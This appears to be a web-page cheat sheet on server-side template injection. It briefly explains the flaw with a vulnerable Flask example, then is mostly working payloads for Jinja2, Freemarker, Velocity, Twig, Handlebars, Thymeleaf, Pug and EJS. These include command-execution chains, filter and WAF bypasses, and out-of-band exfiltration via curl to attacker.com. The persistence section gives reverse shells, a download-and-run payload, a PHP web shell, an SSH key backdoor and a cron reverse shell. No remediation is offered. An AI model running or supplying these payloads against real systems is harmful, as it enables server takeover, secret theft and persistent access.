Template injection (SSTI - Server-Side Template Injection)
Understanding Server-Side Template Injection (SSTI)
What is Server-Side Template Injection?
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded into a template in an unsafe way, allowing attackers to inject template directives and execute arbitrary code on the server. This happens when applications dynamically generate templates using user-controlled data without proper sanitization.
Vulnerable Code Example
# Flask/Jinja2 vulnerable template rendering
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
# Vulnerable: User input directly in template
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
Normal Request:
URL:
/hello?name=John
Template:
<h1>Hello John!</h1>
Output:
<h1>Hello John!</h1>
Malicious Request:
URL:
/hello?name={{7*7}}
Template:
<h1>Hello {{7*7}}!</h1>
Output:
<h1>Hello 49!</h1>
(Expression evaluated)
How SSTI Works
SSTI exploits the template engine's ability to evaluate expressions and execute code. When user input is embedded directly into templates, attackers can inject template syntax that gets processed by the template engine, leading to code execution.
Template Engine Processing Flow
User Input - Attacker provides malicious template syntax
Template Construction - Application embeds input into template
Template Parsing - Engine parses template with injected code
Expression Evaluation - Engine evaluates malicious expressions
Code Execution - Arbitrary code executes on the server
Impact and Consequences
Remote Code Execution - Complete server compromise
Information Disclosure - Access to application data and configuration
File System Access - Reading and writing server files
Privilege Escalation - Gaining higher system privileges
Data Exfiltration - Stealing sensitive information
Denial of Service - Crashing the application or server
Common Template Engines
Python Template Engines
Jinja2 (Flask, Django):
Syntax:
{{ expression }}
,{% statement %}
Used in: Flask, Django (custom), Ansible
Features: Expressions, filters, macros, inheritance
Django Templates:
Syntax:
{{ variable }}
,{% tag %}
Used in: Django web framework
Features: Tags, filters, template inheritance
Mako:
Syntax:
${expression}
,<% code %>
Used in: Pyramid, SQLAlchemy
Features: Python expressions, control structures
JavaScript Template Engines
Handlebars.js:
Syntax:
{{expression}}
,{{#helper}}
Used in: Node.js applications, Ember.js
Features: Helpers, partials, conditionals
Mustache:
Syntax:
{{variable}}
,{{#section}}
Used in: Various JavaScript frameworks
Features: Logic-less templates
Pug (formerly Jade):
Syntax:
#{expression}
,!{unescaped}
Used in: Express.js applications
Features: Clean syntax, mixins, includes
Java Template Engines
Freemarker:
Syntax:
${expression}
,<#directive>
Used in: Spring Boot, Apache Struts
Features: Macros, functions, object navigation
Velocity:
Syntax:
$variable
,#directive
Used in: Apache projects, Spring
Features: VTL (Velocity Template Language)
Thymeleaf:
Syntax:
${expression}
,th:attribute
Used in: Spring Boot applications
Features: Natural templates, strong typing
Basic SSTI Detection
Mathematical Expression Testing
Basic Arithmetic
Universal Detection Payloads:
# Basic mathematical expressions
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
# Expected output: 49
# If output shows "49", template injection likely exists
Extended Mathematical Tests:
# Multiple operations
{{7*'7'}} # Should output: 7777777 (string multiplication)
{{7+'7'}} # May cause type error or concatenation
{{7-7}} # Should output: 0
{{7/7}} # Should output: 1
{{7%2}} # Should output: 1 (modulo)
Polyglot Detection Payloads
Multi-Engine Detection:
# Polyglot payload for multiple template engines
${{<%[%'"}}%\.
# Template-specific variations
{{7*7}}[[7*7]]${7*7}<%=7*7%>${{7*7}}${{7*7}}#{7*7}
# URL encoded versions
%7B%7B7*7%7D%7D
%24%7B7*7%7D
%3C%25%3D7*7%25%3E
Context-Based Detection
HTML Context
Template Injection in HTML:
<!-- Vulnerable template -->
<h1>Welcome {{user_name}}!</h1>
<p>Your role is: ${user_role}</p>
<!-- Test payloads -->
<h1>Welcome {{7*7}}!</h1> <!-- Output: Welcome 49! -->
<h1>Welcome ${7*7}!</h1> <!-- Output: Welcome 49! -->
<h1>Welcome <%=7*7%>!</h1> <!-- Output: Welcome 49! -->
JavaScript Context
Template Injection in JavaScript:
// Vulnerable JavaScript template
var message = "Hello {{user_input}}";
var config = {name: "${user_name}"};
// Test payloads
var message = "Hello {{7*7}}"; // Output: Hello 49
var config = {name: "${7*7}"}; // Output: {name: 49}
CSS Context
Template Injection in CSS:
/* Vulnerable CSS template */
.user-theme {
color: {{user_color}};
background: ${theme_bg};
}
/* Test payloads */
.user-theme {
color: {{7*7}}; /* May output: color: 49; */
background: ${7*7}; /* May output: background: 49; */
}
Template Engine Specific Exploitation
Jinja2 (Python/Flask) Exploitation
Basic Jinja2 Syntax
Expression Evaluation:
# Basic expressions
{{7*7}} # Output: 49
{{'hello' + 'world'}} # Output: helloworld
{{range(10)}} # Output: range(0, 10)
{{lipsum(5)}} # Output: Lorem ipsum text
# Variable access
{{config}} # Access Flask config
{{request}} # Access request object
{{session}} # Access session object
Jinja2 Object Navigation
Accessing Python Objects:
# Access config object
{{config.SECRET_KEY}} # Reveal secret key
{{config.__class__}} # <class 'flask.config.Config'>
# Access request object
{{request.environ}} # Environment variables
{{request.args}} # URL parameters
{{request.files}} # Uploaded files
{{request.headers}} # HTTP headers
# Access application context
{{url_for.__globals__}} # Global namespace
{{get_flashed_messages.__globals__}} # Alternative global access
Remote Code Execution in Jinja2
Class Navigation for RCE:
# Method 1: Using __subclasses__()
{{''.__class__.__mro__[1].__subclasses__()}}
# Find useful classes (subprocess.Popen is often at index 104)
{{''.__class__.__mro__[1].__subclasses__()[104]}}
# Execute commands
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}
# Method 2: Using config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Method 3: Using url_for
{{url_for.__globals__['os'].popen('pwd').read()}}
# Method 4: Using cycler (if available)
{{cycler.__init__.__globals__.os.popen('ls').read()}}
Advanced Jinja2 RCE:
# Import modules and execute
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].Popen('curl http://attacker.com/`whoami`',shell=True)}}
# File operations
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('cat /etc/passwd > /tmp/passwd.txt')}}
# Python code execution
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);"')}}
Jinja2 Filter Abuse
Built-in Filter Exploitation:
# Using filters for code execution
{{'cat /etc/passwd'|system}} # If custom system filter exists
# String manipulation for evasion
{{('cat /etc/passwd')|system}}
{{'Y2F0IC9ldGMvcGFzc3dk'|b64decode|system}} # Base64 decode
# Using map filter
{{range(1)|map('system','whoami')|list}}
# Using attr filter
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(104)}}
Django Template Exploitation
Django Template Syntax
Basic Django Templates:
<!-- Basic expressions -->
{{user.username}} <!-- Access user attributes -->
{{request.GET.param}} <!-- Access GET parameters -->
{{settings.SECRET_KEY}} <!-- Access Django settings -->
<!-- Template tags -->
{% load custom_tags %} <!-- Load custom template tags -->
{% debug %} <!-- Show debug information -->
Django Template RCE
Limited RCE in Django:
<!-- Django templates are more restrictive but still vulnerable -->
<!-- Method 1: Debug information -->
{% debug %} <!-- Reveals variables and settings -->
<!-- Method 2: Custom template tags -->
{% load subprocess %}
{% subprocess 'whoami' %} <!-- If custom tag exists -->
<!-- Method 3: Settings access -->
{{settings.DATABASES}} <!-- Database credentials -->
{{settings.SECRET_KEY}} <!-- Secret key -->
{{settings.ALLOWED_HOSTS}} <!-- Allowed hosts -->
<!-- Method 4: Using built-in tags creatively -->
{% with "whoami" as cmd %}
{% if cmd %}
<!-- Potential execution context -->
{% endif %}
{% endwith %}
Django Debug Mode Exploitation:
<!-- In debug mode, more information is available -->
{{settings}} <!-- Full settings object -->
{{request.META}} <!-- Environment variables -->
<!-- Force errors to reveal information -->
{{undefined_variable.nonexistent_method}}
{{1/0}} <!-- Division by zero error -->
Freemarker (Java) Exploitation
Freemarker Syntax
Basic Freemarker Expressions:
<!-- Basic expressions -->
${7*7} <!-- Output: 49 -->
${username} <!-- Variable access -->
${"hello"?upper_case} <!-- Built-in function -->
<!-- Object method calls -->
${object.method()} <!-- Call object method -->
${object.property} <!-- Access property -->
Freemarker RCE
Execute Constructor for RCE:
<!-- Method 1: Execute class instantiation -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}
<!-- Method 2: ObjectConstructor -->
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign proc=oc("java.lang.ProcessBuilder","whoami")>
${proc.start()}
<!-- Method 3: Static method access -->
<#assign ex="freemarker.template.utility.JythonRuntime"?new()>
<#assign pythonCode = "import os; os.system('whoami')">
${ex.exec(pythonCode)}
Advanced Freemarker Exploitation:
<!-- File operations -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /etc/passwd")}
${ex("curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)")}
<!-- Java reflection -->
<#assign classLoader=object?class.classLoader>
<#assign owaspClass=classLoader.loadClass("java.lang.Runtime")>
<#assign owaspObject=owaspClass.getMethod("getRuntime",null).invoke(null,null)>
${owaspObject.exec("whoami")}
<!-- Environment variable access -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("env")}
Velocity (Java) Exploitation
Velocity Syntax
Basic Velocity Expressions:
## Basic expressions
$math.add(7,7) ## Output: 14
$name ## Variable access
$user.getName() ## Method call
## Velocity tools
$date.get('yyyy-MM-dd') ## Date formatting
$esc.html($input) ## HTML escaping
Velocity RCE
Class Instantiation for RCE:
## Method 1: Runtime class access
#set($rt = $Class.forName('java.lang.Runtime'))
#set($chr = $Class.forName('java.lang.Character'))
#set($str = $chr.toString(99).concat($chr.toString(97)).concat($chr.toString(116)).concat($chr.toString(32)).concat($chr.toString(47)).concat($chr.toString(101)).concat($chr.toString(116)).concat($chr.toString(99)).concat($chr.toString(47)).concat($chr.toString(112)).concat($chr.toString(97)).concat($chr.toString(115)).concat($chr.toString(115)).concat($chr.toString(119)).concat($chr.toString(100)))
$rt.getRuntime().exec($str)
## Method 2: ProcessBuilder
#set($pb = $Class.forName('java.lang.ProcessBuilder'))
#set($cmd = ["whoami"])
#set($process = $pb.newInstance($cmd))
$process.start()
## Method 3: Scripting engine
#set($engine = $Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript'))
$engine.eval('java.lang.Runtime.getRuntime().exec("whoami")')
Twig (PHP) Exploitation
Twig Syntax
Basic Twig Expressions:
{# Basic expressions #}
{{7*7}} {# Output: 49 #}
{{name|upper}} {# String filter #}
{{users|length}} {# Array length #}
{# Control structures #}
{% for user in users %}
{{user.name}}
{% endfor %}
Twig RCE
Filter and Function Abuse:
{# Method 1: _self environment access #}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{# Method 2: _self globals access #}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{# Method 3: Map filter abuse #}
{{["id"]|map("system")|join(",")}}
{# Method 4: Reduce filter #}
{{["id",""]|sort("system")}}
{{[0,1,2]|reduce((carry, item) => carry ~ system("whoami"), "")}}
Advanced Twig Exploitation:
{# File operations #}
{{_self.env.registerUndefinedFilterCallback("file_get_contents")}}{{_self.env.getFilter("/etc/passwd")}}
{# Include exploit #}
{% include "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K" %}
{# Custom function registration #}
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{_self.env.getFilter("cat /etc/passwd")}}
Handlebars.js Exploitation
Handlebars Syntax
Basic Handlebars Expressions:
<!-- Basic expressions -->
{{7*7}} <!-- May not work due to restrictions -->
{{name}} <!-- Variable access -->
{{#each users}}{{name}}{{/each}} <!-- Iteration -->
<!-- Helpers -->
{{uppercase name}} <!-- Built-in helper -->
{{#if condition}}true{{/if}} <!-- Conditional -->
Handlebars RCE
Prototype Pollution and RCE:
<!-- Method 1: Constructor access -->
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
<!-- Method 2: Process access -->
{{#with "constructor" as |a|}}
{{#with (lookup . a)}}
{{#with (lookup . a)}}
{{this("return process")()}}
{{/with}}
{{/with}}
{{/with}}
Node.js Specific Handlebars RCE:
<!-- Require function access -->
{{#with "constructor" as |a|}}
{{#with (lookup . a) as |b|}}
{{#with (lookup b a) as |c|}}
{{#with (c "return require")() as |d|}}
{{d "child_process"}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
<!-- Global process access -->
{{this.constructor.constructor("return global.process.mainModule.require('child_process').execSync('whoami')")()}}
Advanced SSTI Techniques
Template Engine Fingerprinting
Response-Based Fingerprinting
Engine Detection Payloads:
# Test different syntax patterns
{{7*7}} # Jinja2, Twig, Django: 49
${7*7} # Freemarker, Velocity: 49
<%=7*7%> # ERB, ASP: 49
#{7*7} # Thymeleaf: 49
# Error-based fingerprinting
{{7*'7'}} # Jinja2: 7777777, Others: Error
${7*'7'} # Freemarker: Error
<%=7*'7'%> # ERB: May work depending on context
# Function availability tests
{{range(10)}} # Jinja2: range(0, 10)
${esc.html} # Velocity: Available
{{lipsum}} # Jinja2: Lorem ipsum generator
Error Message Analysis
Error-Based Detection:
# Intentional errors to reveal engine
{{undefined_variable}}
${nonexistent.method}
<%=invalid.syntax%>
# Template engines reveal themselves in error messages:
# - "jinja2.exceptions.UndefinedError" → Jinja2
# - "freemarker.core.InvalidReferenceException" → Freemarker
# - "org.apache.velocity.exception.MethodInvocationException" → Velocity
# - "Twig\Error\RuntimeError" → Twig
Filter Bypassing Techniques
Character Filtering Bypasses
Alternative Quotes and Characters:
# If single quotes filtered
{{"whoami"}} # Use double quotes
{{request.args.cmd}} # Use request parameters
# If quotes filtered entirely
{{request.args.cmd}} # Parameter injection
{{config[request.args.key]}} # Dynamic key access
# Using chr() or character codes
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__[chr(111)+chr(115)].popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read()}}
String Concatenation:
# Build commands using concatenation
{{'who'+'ami'}}
{{'cat'+' /etc/passwd'}}
{{'ls'|add:' -la'}}
# Using format strings
{{'{}ami'.format('who')}}
{{'{}{}'.format('who','ami')}}
Keyword Filtering Bypasses
Alternative Method Names:
# If 'system' is filtered
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}
# If 'popen' is filtered
{{''.__class__.__mro__[1].__subclasses__()[104]('whoami',shell=True)}}
# If '__' is filtered
{{''|attr('__class__')|attr('__mro__')|first|attr('__subclasses__')()|attr('__getitem__')(104)}}
# Using getattr instead of direct attribute access
{{getattr(''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'], 'system')('whoami')}}
WAF Bypassing
Encoding and Obfuscation:
# URL encoding
{{7%2A7}} # URL encoded: {{7*7}}
{{%27%27.__class__}} # URL encoded: {{''.__class__}}
# Unicode encoding
{{\u007b\u007b7*7\u007d\u007d}} # Unicode encoded: {{7*7}}
# Base64 encoding with decode
{{'d2hvYW1p'|b64decode}} # Base64 decode: whoami
# HTML entity encoding
{{{{7*7}}}} # HTML entities: {{7*7}}
Blind SSTI Exploitation
Time-Based Detection
Delay-Based Payloads:
# Python time delay
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['time'].sleep(10)}}
# Alternative time delay
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('sleep 10')}}
# Java time delay (Freemarker)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("sleep 10")}
# JavaScript time delay (Node.js)
{{constructor.constructor("setTimeout(function(){}, 10000)")()}}
Out-of-Band Detection
DNS/HTTP Exfiltration:
# DNS exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('nslookup ssti-detected.attacker.com')}}
# HTTP exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl http://attacker.com/ssti-detected')}}
# Data exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl -X POST -d "data=`whoami`" http://attacker.com/exfil')}}
File-Based Detection
File Creation/Modification:
# Create detection file
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('touch /tmp/ssti-detected')}}
# Write to file
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "SSTI detected" > /tmp/detection.txt')}}
# Log to system logs
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('logger "SSTI vulnerability detected"')}}
Context-Specific SSTI Exploitation
Email Template Injection
Email Template Vulnerabilities
Email Subject/Body Injection:
# Vulnerable email template
subject = f"Hello {user_name}"
body = f"Dear {user_name}, your order #{order_id} has been processed."
# Email template engines often use Jinja2 or similar
# Injection in email fields
user_name = "{{config.SECRET_KEY}}"
order_id = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}"
Email Header Injection:
# SSTI in email headers
To: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
From: {{config.SECRET_KEY}}@company.com
Subject: {{request.environ}}
PDF Generation Template Injection
PDF Template Vulnerabilities
HTML-to-PDF Template Injection:
<!-- Vulnerable PDF generation -->
<html>
<head>
<title>Invoice for {{customer_name}}</title>
</head>
<body>
<h1>Customer: {{customer_name}}</h1>
<p>Amount: {{amount}}</p>
<p>Date: {{date}}</p>
</body>
</html>
<!-- SSTI in PDF templates -->
<h1>Customer: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}</h1>
PDF Metadata Injection:
# PDF metadata template injection
pdf_metadata = {
'title': f"Report for {user_input}",
'author': f"{user_name}",
'subject': f"Generated on {date}"
}
# Injection payloads
user_input = "{{config.SECRET_KEY}}"
user_name = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('id').read()}}"
SMS/Notification Template Injection
SMS Template Vulnerabilities
SMS Message Template Injection:
# Vulnerable SMS template
message = f"Hello {user_name}, your code is {verification_code}"
# SMS template injection
user_name = "{{config.DATABASE_URL}}"
verification_code = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('curl http://attacker.com/sms-ssti').read()}}"
Push Notification Injection:
// Vulnerable push notification template
const notification = {
title: `Hello ${username}`,
body: `You have ${count} new messages`,
data: {
user_id: `${user_id}`,
timestamp: `${timestamp}`
}
};
// SSTI in notification templates
username = "{{7*7}}" // Test for SSTI
count = "{{config.SECRET_KEY}}"
SSTI in Popular Frameworks
Flask Applications
Flask-Specific SSTI
Flask Configuration Access:
# Flask config object contains sensitive data
{{config}} # Full config object
{{config.SECRET_KEY}} # Secret key
{{config.DATABASE_URI}} # Database connection string
{{config.DEBUG}} # Debug mode status
# Flask application context
{{g}} # Application context globals
{{request.environ}} # WSGI environment
{{session}} # User session data
Flask Extension Exploitation:
# Flask-SQLAlchemy
{{config.SQLALCHEMY_DATABASE_URI}}
# Flask-Mail
{{config.MAIL_PASSWORD}}
{{config.MAIL_USERNAME}}
# Flask-Login
{{current_user}}
{{current_user.__dict__}}
# Flask-WTF
{{config.WTF_CSRF_SECRET_KEY}}
Django Applications
Django-Specific SSTI
Django Settings Access:
<!-- Django settings exposure -->
{{settings.SECRET_KEY}} <!-- Secret key -->
{{settings.DATABASES}} <!-- Database configuration -->
{{settings.DEBUG}} <!-- Debug mode -->
{{settings.ALLOWED_HOSTS}} <!-- Allowed hosts -->
<!-- Django request object -->
{{request.META.HTTP_HOST}} <!-- Host header -->
{{request.META.REMOTE_ADDR}} <!-- Client IP -->
{{request.META.HTTP_USER_AGENT}} <!-- User agent -->
{{request.META.PATH_INFO}} <!-- Request path -->
Django ORM Exploitation:
<!-- If user objects are available in context -->
{{user.is_superuser}} <!-- Check admin status -->
{{user.groups.all}} <!-- User groups -->
{{user.user_permissions.all}} <!-- User permissions -->
<!-- Model introspection -->
{{user._meta.get_fields}} <!-- Model fields -->
{{user.__class__.__name__}} <!-- Model name -->
Spring Boot Applications
Thymeleaf SSTI
Thymeleaf Expression Injection:
<!-- Basic Thymeleaf expressions -->
<p th:text="${7*7}">Placeholder</p> <!-- Output: 49 -->
<p th:text="${user.name}">Name</p> <!-- User property access -->
<!-- SSTI in Thymeleaf -->
<p th:text="${T(java.lang.Runtime).getRuntime().exec('whoami')}">Command</p>
<!-- Alternative syntax -->
<p>[[${T(java.lang.Runtime).getRuntime().exec('id')}]]</p>
<!-- Using Spring Expression Language (SpEL) -->
<p th:text="${T(java.lang.System).getProperty('user.dir')}">Directory</p>
Spring Framework Exploitation:
<!-- Spring context access -->
<p th:text="${@environment.getProperty('spring.datasource.password')}">DB Password</p>
<p th:text="${@applicationContext.getBean('dataSource').getUrl()}">DB URL</p>
<!-- System properties -->
<p th:text="${T(java.lang.System).getenv()}">Environment Variables</p>
<p th:text="${T(java.lang.System).getProperties()}">System Properties</p>
<!-- File operations -->
<p th:text="${T(java.nio.file.Files).readString(T(java.nio.file.Paths).get('/etc/passwd'))}">File Content</p>
Express.js Applications
Pug/Jade SSTI
Pug Template Injection:
//- Basic Pug expressions
p= 7*7 //- Output: 49
p= user.name //- Variable access
p= JSON.stringify(locals) //- Local variables
//- SSTI in Pug
p= process.env //- Environment variables
p= require('child_process').execSync('whoami').toString()
p= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8')
//- Alternative syntax
p !{process.env.HOME} //- Unescaped output
EJS Template Injection:
<!-- Basic EJS expressions -->
<%= 7*7 %> <!-- Output: 49 -->
<%= user.name %> <!-- Variable access -->
<%= JSON.stringify(locals) %> <!-- Local variables -->
<!-- SSTI in EJS -->
<%= process.env %> <!-- Environment variables -->
<%= require('child_process').execSync('whoami') %>
<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8') %>
<!-- Using eval-like functions -->
<%= eval('process.env') %>
<%= Function('return process.env')() %>
Advanced Attack Scenarios
Multi-Stage SSTI Exploitation
Information Gathering Stage
Environment Discovery:
# Stage 1: Basic information gathering
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('uname -a').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('pwd').read()}}
# Stage 2: Network information
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('ifconfig').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('netstat -tlnp').read()}}
# Stage 3: Process and service discovery
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('ps aux').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('systemctl list-units --type=service').read()}}
Application Configuration Extraction:
# Extract sensitive configuration
{{config}} # Full application config
{{request.environ}} # Environment variables
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /proc/self/environ').read()}}
# Database connection strings
{{config.DATABASE_URL}}
{{config.SQLALCHEMY_DATABASE_URI}}
# API keys and secrets
{{config.SECRET_KEY}}
{{config.AWS_ACCESS_KEY_ID}}
{{config.STRIPE_SECRET_KEY}}
Persistence and Backdoor Installation
File-Based Persistence:
# Create web shell
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "<?php system($_GET[\"cmd\"]); ?>" > /var/www/html/shell.php')}}
# Create SSH backdoor
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys')}}
# Create cron job for persistence
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "* * * * * /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/4444 0>&1\'" | crontab -')}}
Memory-Based Persistence:
# Python reverse shell
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);"')}}
# Download and execute payload
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl -s http://attacker.com/payload.sh | bash')}}
# In-memory Python backdoor
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('python3 -c "exec(__import__(\'urllib.request\').request.urlopen(\'http://attacker.com/backdoor.py\').read())"')}}
SSTI with Other Vulnerabilities
SSTI + CSRF
Cross-Site Request Forgery with SSTI:
<!-- Malicious form that exploits SSTI -->
<form action="http://vulnerable-app.com/profile/update" method="POST">
<input type="hidden" name="bio" value="{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('curl http://attacker.com/csrf-ssti').read()}}" />
<input type="hidden" name="csrf_token" value="extracted_token" />
</form>
<script>
document.forms[0].submit();
</script>
SSTI + File Upload
Template Injection via File Upload:
# Upload malicious template file
# filename: template.html
# content:
"""
<h1>Profile for {{username}}</h1>
<p>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}</p>
"""
# If application processes uploaded templates
POST /upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="template"; filename="malicious.html"
<h1>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('id').read()}}</h1>
------WebKitFormBoundary--
SSTI + XXE
XML Template with XXE:
<!-- XML template with both XXE and SSTI -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<template>
<content>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}</content>
<xxe_data>&xxe;</xxe_data>
</template>
Last updated
Was this helpful?